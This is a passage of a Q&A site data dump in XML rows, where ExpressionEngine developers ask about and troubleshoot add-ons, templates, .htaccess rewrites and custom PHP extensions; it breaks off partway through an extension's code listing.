  <row Id="11970" PostTypeId="1" AcceptedAnswerId="11994" CreationDate="2013-07-16T14:50:50.923" Score="7" ViewCount="1401" Body="&lt;p&gt;After updating an EE 2.5.5 site to the latest playa 4.4.4., an error showed up when trying to access the FieldType settings screen.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A Database Error Occurred&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Error Number: 1060&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Duplicate column name 'parent_var_id'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;ALTER TABLE exp_playa_relationships ADD parent_var_id INT(6) UNSIGNED&#xA;  AFTER parent_row_id, ADD INDEX (parent_var_id)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename:&#xA;  [redacted]/playa/ft.playa.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 423&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I was in the process of upgrading the site to EE 2.6.1. so I carried on and the error still shows after performing the upgrade. It seems that the site is still functional, I see no error when accessing pages making use of playa or when using the fieldtype in the CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone experienced this? P&amp;amp;T guys?&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-07-17T11:29:50.657" Title="DB error after upgrading to Playa 444: Duplicate column name 'parent_var_id'" Tags="|playa|error|upgrade|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11971" PostTypeId="1" AcceptedAnswerId="11975" CreationDate="2013-07-16T15:01:37.517" Score="0" ViewCount="47" Body="&lt;p&gt;I'm having a huge issue, not sure what caused it though. I'm using stash to get 2 values of a users account. I've been using Stash for the past 3 months to load these values into a form with no issue. This morning it no longer works in IE or Safari however works correctly in Firefox and Chrome. Any suggestions on what I should look for or what have caused this to stop working? No updates have been done to Stash or ExpressionEngine.&lt;/p&gt;&#xA;" OwnerUserId="729" LastActivityDate="2013-07-16T17:03:20.603" Title="Stash Issue Not Getting Values In IE 8/10 &amp; Safari" Tags="|stash|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11972" PostTypeId="2" ParentId="11959" CreationDate="2013-07-16T15:10:50.473" Score="1" Body="&lt;p&gt;Answering for visibility. Yes, it is totally possible to have multiple forms on one page targeting the same Results page. You do have to make sure, however, that the selected category has entries assigned to it in order for it to return results.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-07-16T15:10:50.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11973" PostTypeId="1" AcceptedAnswerId="12121" CreationDate="2013-07-16T15:19:05.597" Score="1" ViewCount="195" Body="&lt;p&gt;I'm having trouble getting the rEEservation form to show up properly on my website. The basic form shows up okay, but it's not showing the options for which I created channels for. When 'proceed' is clicked, it leads to an error page saying, 'The object for booking is not provided' - because there was no way to select the options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to create a reservation system for 2 tables at a cafe, for 3 hour slots from 11am - 11pm. This is how it's set up at the moment:&#xA;Channel: reserve_table&#xA;Channel Fields: {table} which is a text input field&#xA;Channel Entries: 8 of them (Table 1: 11am - 2pm; Table 1: 2pm - 5pm; Table 1: 5pm - 8pm; table 1 - 8pm - 11pm - and then repeated for Table 2).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;reserve_table&quot;}&#xA;&amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;&#xA;{exp:reeservation:form entry_id=&quot;{segment_2}&quot;}&#xA;&amp;lt;p&amp;gt;Name: &amp;lt;input type=&quot;text&quot; name=&quot;name&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Email: &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Phone*: &amp;lt;input type=&quot;text&quot; name=&quot;phone&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Booking date*: &amp;lt;input type=&quot;text&quot; name=&quot;date_from&quot; id=&quot;date_from&quot; value=&quot;{current_time format=&quot;%Y-%m-%d&quot;}&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Leave a comment for your booking: &amp;lt;textarea name=&quot;comment&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;Proceed&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/exp:reeservation:form}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ideally, the customer would be able to select a table time slot on a particular date (dropdown menu perhaps?), and have it verified that the time slot has not already been booked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've scoured the docs and just can't seem to move it past the point i'm at. I can add manual reservations, but not from the website. How do I get the channel entries list to show up? Where does the exp:reeservation:check (or do I use exp:reeservation:check_multiple?) code go? And if I were to use the Simple Calendar code, which is provided, where does that go?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone who has successfully used rEEservation before can help, or even let me peek at your template code, I would greatly appreciate it. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;====&#xA;Update: Problems solved!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got rEEservation working with lots of help from Yuri. In the end, I now have 4 channel entries, one for each time slot. In the rEEservation settings, I have it set so that each time slot (or 'object') can be booked a maximum of 2 times per day (because there are two tables which can be booked). My final template code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;code&amp;gt; {exp:reeservation:form return=&quot;bookings/thank_you&quot;}&#xA;        &amp;lt;p&amp;gt;Table/slot*: &amp;lt;select name=&quot;entry_id&quot;&amp;gt;&#xA;        {exp:channel:entries channel=&quot;reserve_table&quot; dynamic=&quot;no&quot; disable=&quot;categories|custom_fields|member_data&quot; orderby=&quot;title&quot; sort=&quot;asc&quot;}&#xA;        &amp;lt;option value=&quot;{entry_id}&quot;&amp;gt;{title}&amp;lt;/option&amp;gt;&#xA;        {/exp:channel:entries}&#xA;        &amp;lt;/select&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;Name*: &amp;lt;input type=&quot;text&quot; name=&quot;name&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;Email*: &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;Phone*: &amp;lt;input type=&quot;text&quot; name=&quot;phone&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;Booking date*: &amp;lt;input type=&quot;text&quot; name=&quot;date_from&quot; id=&quot;date_from&quot; value=&quot;{current_time format=&quot;%Y-%m-%d&quot;}&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;Leave a comment for your booking: &amp;lt;textarea name=&quot;comment&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;Proceed&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;        {/exp:reeservation:form}&amp;lt;/code&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="437" LastEditorUserId="437" LastEditDate="2013-07-24T08:20:31.153" LastActivityDate="2015-08-23T13:26:47.897" Title="Trouble with rEEservation template" Tags="|reeservation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11974" PostTypeId="1" AcceptedAnswerId="11976" CreationDate="2013-07-16T16:05:45.167" Score="3" ViewCount="1182" Body="&lt;p&gt;I need to call an extension or module method from a plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know how to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eventually solved with this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include_once(PATH_THIRD.'extension/mod.extension.php');&#xA;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;add_package_path(PATH_THIRD.'extension/'); &#xA;$ext = new Extensionclass();&#xA;$PI = $ext-&amp;gt;extension_function($params);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1725" LastEditorUserId="1725" LastEditDate="2013-07-16T21:48:13.260" LastActivityDate="2013-07-16T21:48:13.260" Title="Calling extension or module method from plugin" Tags="|module|plugin|extension|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11975" PostTypeId="2" ParentId="11971" CreationDate="2013-07-16T17:03:20.603" Score="0" Body="&lt;p&gt;So apparently my server date/time was off which was causing an issue with Stash from being able to load those in Internet Explorer and Safari.&lt;/p&gt;&#xA;" OwnerUserId="729" LastActivityDate="2013-07-16T17:03:20.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11976" PostTypeId="2" ParentId="11974" CreationDate="2013-07-16T17:54:40.083" Score="4" Body="&lt;p&gt;You can do it with the following example code within your plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once PATH_THIRD.&quot;modulename/modulefilename&quot;;&#xA;$obj = new ModuleClass();&#xA;$obj-&amp;gt;module_method();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope, it would help you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-07-16T17:54:40.083" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11977" PostTypeId="1" CreationDate="2013-07-16T20:57:37.727" Score="1" ViewCount="219" Body="&lt;p&gt;I would like to have target=&quot;_blank&quot; selected as the default for new links in any Wygwam field. I've tried a variety of things using the CKEditor config file, but I haven't been able to get this working properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone out there done this with any success?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="24" LastActivityDate="2013-08-27T09:26:31.147" Title="How can I default to target=&quot;_blank&quot; for Wygwam links" Tags="|wygwam|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11978" PostTypeId="1" AcceptedAnswerId="11979" CreationDate="2013-07-16T21:46:20.030" Score="1" ViewCount="73" Body="&lt;p&gt;I'm migrating a site from Media Temple (GS) to (DV), but every URL without &lt;code&gt;index.php&lt;/code&gt; returns the homepage. URLs &lt;em&gt;with&lt;/em&gt; &lt;code&gt;index.php&lt;/code&gt; display correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FastCGI is disabled, here are the contents of my .htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AuthUserFile /path/to/my/password.file&#xA;AuthName &quot;Please Log In&quot;&#xA;AuthType Basic&#xA;&#xA;require valid-user&#xA;&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;    RewriteEngine On&#xA;    RewriteBase /&#xA;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;    RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EE 2.6.1&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2013-07-16T21:56:32.230" LastActivityDate="2013-07-16T22:25:14.563" Title="Every URL Displays Homepage" Tags="|.htaccess|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11979" PostTypeId="2" ParentId="11978" CreationDate="2013-07-16T21:48:23.707" Score="1" Body="&lt;p&gt;normally I've found this to be the URI_PROTOCOL config setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go through the range of options in config.php and you should be good.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-07-16T21:48:23.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11980" PostTypeId="2" ParentId="11978" CreationDate="2013-07-16T22:25:14.563" Score="0" Body="&lt;p&gt;Unless your server requires the ? to make anything that follows index.php a querystring, it's probably not necessary in your RewriteRule and could lead to the behavior you're describing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;becomes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1262" LastActivityDate="2013-07-16T22:25:14.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11982" PostTypeId="2" ParentId="11867" CreationDate="2013-07-17T00:19:54.593" Score="0" Body="&lt;p&gt;If there's no segment_2, the channel:entries variable pair will parse as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;speed_sales&quot; dynamic=&quot;no&quot; url_title=&quot;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See? The &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#limit&quot; rel=&quot;nofollow&quot;&gt;docs says&lt;/a&gt; that the default value of the &lt;code&gt;limit&lt;/code&gt; parameter is 100. So, this loop will runs up to one hundred times!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My suggestion is, first, to put your code for no_results on a snippet and set its as, let's say, &lt;code&gt;snip_no_speed_sales&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2 class=&quot;heading1 single&quot;&amp;gt;Speed Sales&amp;lt;/h2&amp;gt;&#xA;&amp;lt;p class=&quot;lead&quot;&amp;gt;You may have reached this page in error (a typo in a link, or you backspaced the URL). Please choose a newsletter from below:&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, you need to separate your conditionals to avoid the parsing of &lt;code&gt;channel:entries&lt;/code&gt; variable pair and to improve the performance.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;article class=&quot;text-block&quot;&amp;gt;&#xA;    {if segment_2}&#xA;    {exp:channel:entries channel=&quot;speed_sales&quot; dynamic=&quot;no&quot; url_title=&quot;{segment_2}&quot;}&#xA;        &amp;lt;h2 class=&quot;heading1 excludestrip single left&quot;&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;        {if lead_copy}&amp;lt;p class=&quot;lead&quot;&amp;gt;{lead_copy}&amp;lt;/p&amp;gt;{/if}&#xA;        {if subtitle}&#xA;            &amp;lt;hr/&amp;gt;&#xA;            &amp;lt;h3 class=&quot;excludestrip&quot;&amp;gt;{subtitle}&amp;lt;/h3&amp;gt;&#xA;        {/if}&#xA;        {newsletter_copy}&#xA;        {if no_results}&#xA;            {snip_no_speed_sales}         &#xA;        {/if}&#xA;    {/exp:channel:entries}&#xA;    {/if}&#xA;    {if segment_2 == ''}&#xA;        {snip_no_speed_sales}&#xA;    {/if}&#xA;&amp;lt;/article&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-07-17T00:19:54.593" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11983" PostTypeId="1" AcceptedAnswerId="11993" CreationDate="2013-07-17T01:17:26.963" Score="3" ViewCount="171" Body="&lt;h2&gt;When Store generates a form from a tag such as:&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product entry_id=&quot;{entry_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This outputs the below:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; id=&quot;&quot; name=&quot;&quot; class=&quot;store_product_form&quot;&amp;gt;&#xA;&amp;lt;div style=&quot;margin:0;padding:0;display:inline;&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;return_url&quot; value=&quot;products&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;entry_id&quot; value=&quot;45&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;ACT&quot; value=&quot;88&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;RET&quot; value=&quot;products&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;site_id&quot; value=&quot;1&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;_params&quot; value=&quot;Uy1bcQE4CWMFIFZ9AXhQDgsxU2cBLgAyBSYDZgA1UCcJfFUhUjYHOgVjDHZdeAF1UndXa105AlwLKAc2DHNVPFQ4U3FWdFI9D2cFLg==&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;6642e568194f9a1872e398f2739ce8aa591a6436&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is there no &lt;strong&gt;action=&quot;&quot;&lt;/strong&gt; set on this form? It appears to be using the ACT to submit to the index.php but if that isn't set in the config it falls over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is this an expression engine philosophy or just store?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also wanted to know what the logic/thought behind this decision and if it's able to be modified?&lt;/p&gt;&#xA;" OwnerUserId="1784" LastEditorUserId="268" LastEditDate="2013-07-30T10:16:06.400" LastActivityDate="2013-07-30T10:16:06.400" Title="Expresso Store - Why is there no action=&quot;&quot; attribute tag?" Tags="|expresso-store|add-on|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11985" PostTypeId="1" AcceptedAnswerId="11989" CreationDate="2013-07-17T05:09:32.870" Score="1" ViewCount="155" Body="&lt;p&gt;Users are able to submit an entry and it defaults to a status of 'Awaiting Moderation'. When our administrator reviews the entry and changes its status to 'Open', I would like to set the expiration date 60 days in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my extension, I've tried using the entry_submission_ready hook and the entry_submission_end hook, but I don't seem to be able to detect a difference in status.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function set_expiration_date( $meta = array(), $data = array(), $auto_save = array() ) {&#xA;&#xA;    $old_status = isset( $meta['status'] ) ? strtolower( $meta['status'] ) : '';&#xA;    $new_status = isset( $_POST['status'] ) ? strtolower( $_POST['status'] ) : '';&#xA;&#xA;    if ( 'open' != $old_status &amp;amp;&amp;amp; 'open' == $new_status &amp;amp;&amp;amp; '14' == $data['channel_id'] &amp;amp;&amp;amp; 'mydata' == $data['field_id_123'] ) {&#xA;        // set expiration date 60 days in the future&#xA;        $future = date('Y-m-d', time() + 60*24*60*60);&#xA;        $exp_time = strtotime(  $future . ' 23:59:59' );&#xA;        $data['expiration_date'] = $exp_time;&#xA;    } else {&#xA;        return;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When using entry_submission_ready, &lt;code&gt;$old_status&lt;/code&gt; and &lt;code&gt;$new_status&lt;/code&gt; always seems to be the previous status. And with entry_submission_end, &lt;code&gt;$old_status&lt;/code&gt; and &lt;code&gt;$new_status&lt;/code&gt; are always the next status. So &lt;code&gt;$_POST&lt;/code&gt; is changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't understand how to use this EE hook. What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="1785" LastActivityDate="2013-07-17T08:34:09.673" Title="Set expiration_date when status changes to open" Tags="|status|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11986" PostTypeId="1" AcceptedAnswerId="12018" CreationDate="2013-07-17T07:31:28.470" Score="2" ViewCount="108" Body="&lt;p&gt;When I link a file in a WYGWAM field, the link seems to be created correclty. If I look at the source of the HTML, the link is displayed as,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/uploads/documents/campus_map.pdf&quot;&amp;gt;File&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I look at the DB for that field, it is saved as,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{assets_25:{filedir_2}campus_map.pdf}&quot;&amp;gt;File&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However when the template is parsed, the final output is,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/uploads/documents/campus_map.pdfcampus_map.pdf}&quot;&amp;gt;File&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I manually remove the &quot;{filedir_2}&quot; from the DB record, everything works fine and the output is,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/uploads/documents/campus_map.pdf&quot;&amp;gt;File&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using all the latest versions,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;EE 2.6.1&lt;/li&gt;&#xA;&lt;li&gt;Assets 2.1.4&lt;/li&gt;&#xA;&lt;li&gt;Wygwam 2.7.1&lt;/li&gt;&#xA;&lt;li&gt;Structure 3.3.10&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help you guys can offer!&lt;/p&gt;&#xA;" OwnerUserId="1786" LastActivityDate="2013-07-17T17:25:32.473" Title="Assets is outputing strange file paths" Tags="|assets|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11987" PostTypeId="2" ParentId="11977" CreationDate="2013-07-17T08:11:08.980" Score="0" Body="&lt;p&gt;Not quite the solution you're after but if you were to wrap each instance where you output the content of the Wygwam field with a specific class in your templates. You could then add some javascript to target any links within it and force them to open in a new window.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-07-17T08:11:08.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11988" PostTypeId="2" ParentId="11945" CreationDate="2013-07-17T08:14:51.857" Score="1" Body="&lt;p&gt;What is output by {birthdate} without adding any formatting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What fieldtype are you using to store {birthdate}?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using a text field, do you perhaps have the formatting set to Auto or XHTML which would cause an issue with the content being converted to a date and so fall back to the default of 1970-01-01&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-07-17T08:14:51.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11989" PostTypeId="2" ParentId="11985" CreationDate="2013-07-17T08:34:09.673" Score="0" Body="&lt;p&gt;The extension hook entry_submission_ready is being called just prior to insertion / update so you should use this hook rather than entry_submission_end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you are calling this extension while an entry is being updated so you can get the Status of that entry using the SQL like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$old_status = ee()-&amp;gt;db-&amp;gt;select('status')-&amp;gt;where('entry_id', $data['entry_id'])-&amp;gt;get('channel_titles')-&amp;gt;row('status');&#xA;&#xA;$new_status = $meta['status'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can do further processing as your code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope, it would help you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-07-17T08:34:09.673" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11990" PostTypeId="1" AcceptedAnswerId="15408" CreationDate="2013-07-17T09:16:04.697" Score="3" ViewCount="445" Body="&lt;p&gt;I'm trying to put together a simple Extension that will update an existing database table when an entries in a specific channel are set to 'open'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been looking at the Ellislab tutorial on creating an extension and have looked at a few others so I have a basic understanding of what's going on but I'd be lying if I said I had a complete grasp at this stage!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, I've just got a debug message in the 'meat' of it so I can see if it is actually being called at the right time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first problem I'm running up against is getting the extension to activate. When I click &quot;Enable&quot; the CP reports that the extension has been enabled but the in the list of Extensions it still shows as disabled. No errors are shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[CODE REMOVED - UPDATED VERSION BELOW]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: I realised my error. I needed to include &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ee()-&amp;gt;db-&amp;gt;insert('extensions', $data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;within the activate_extension method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE 2:  The extension still doesn't show as &quot;enabled&quot; although it gets written into the extensions table and appears to call the add_credits method when required. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE 3: I have the extension working albeit with some hardcoded stuff that is only pertinent to this particular project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I still cannot get it to actually show as being Enabled (even though it is) and I cannot get it to create a settings page (I think this is related to not being enabled as the settings link is shown just not active).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the 'finished' code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');&#xA;&#xA;/*&#xA;This extension is intended to add 'credits' to a users account&#xA;It is a custom extension that will take the metre value of an invoice entry and apply the required number of credits to the users account&#xA;It requires Cartthrob_credits extension to be installed&#xA;&#xA;*/&#xA;&#xA;&#xA;&#xA;class FM_credits_from_entry_ext {&#xA;&#xA;&#xA;    var $name           = 'FM Credits from entry';&#xA;    var $version        = '0.1a';&#xA;    var $description    = 'Custom extension that will take the credit value of an invoice entry and apply the required number of credits to the users account';&#xA;    var $settings_exist = 'y';&#xA;    var $docs_url       = '';&#xA;&#xA;    var $settings       = array();&#xA;&#xA;&#xA;    /**&#xA;     * Constructor&#xA;     *&#xA;     * @param   mixed   Settings array or empty string if none exist.&#xA;     */&#xA;&#xA;&#xA;&#xA;&#xA;    function __construct($settings='') {&#xA;        $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;        $this-&amp;gt;settings = $settings;&#xA;    } // END&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;    /** Activate extension **/&#xA;&#xA;    function activate_extension() {&#xA;&#xA;        $this-&amp;gt;settings = array(&#xA;            'credits_per_metre'   =&amp;gt; '1',&#xA;        );&#xA;&#xA;        $data = array(&#xA;        'class'     =&amp;gt; __CLASS__,&#xA;        'method'    =&amp;gt; 'add_credits',&#xA;        'hook'      =&amp;gt; 'entry_submission_end',&#xA;        'settings'  =&amp;gt; serialize($this-&amp;gt;settings),&#xA;        'priority'  =&amp;gt; 10,&#xA;        'version'   =&amp;gt; $this-&amp;gt;version,&#xA;        'enabled'   =&amp;gt; 'y'&#xA;        );&#xA;&#xA;         ee()-&amp;gt;db-&amp;gt;insert('extensions', $data);&#xA;    } // END&#xA;&#xA;&#xA;&#xA;        /**&#xA;         * Update Extension&#xA;         *&#xA;         * This function performs any necessary db updates when the extension&#xA;         * page is visited&#xA;         *&#xA;         * @return  mixed   void on update / false if none&#xA;         */&#xA;        function update_extension($current = '')&#xA;        {&#xA;            if ($current == '' OR $current == $this-&amp;gt;version)&#xA;            {&#xA;                return FALSE;&#xA;            }&#xA;&#xA;            if ($current &amp;lt; '1.0')&#xA;            {&#xA;                // Update to version 1.0&#xA;            }&#xA;&#xA;            ee()-&amp;gt;db-&amp;gt;where('class', __CLASS__);&#xA;            ee()-&amp;gt;db-&amp;gt;update(&#xA;                        'extensions',&#xA;                        array('version' =&amp;gt; $this-&amp;gt;version)&#xA;            );&#xA;        } // END&#xA;&#xA;&#xA;&#xA;&#xA;        /**&#xA;         * Disable Extension&#xA;         *&#xA;         * This method removes information from the exp_extensions table&#xA;         *&#xA;         * @return void&#xA;         */&#xA;        function disable_extension()&#xA;        {&#xA;            ee()-&amp;gt;db-&amp;gt;where('class', __CLASS__);&#xA;            ee()-&amp;gt;db-&amp;gt;delete('extensions');&#xA;        } 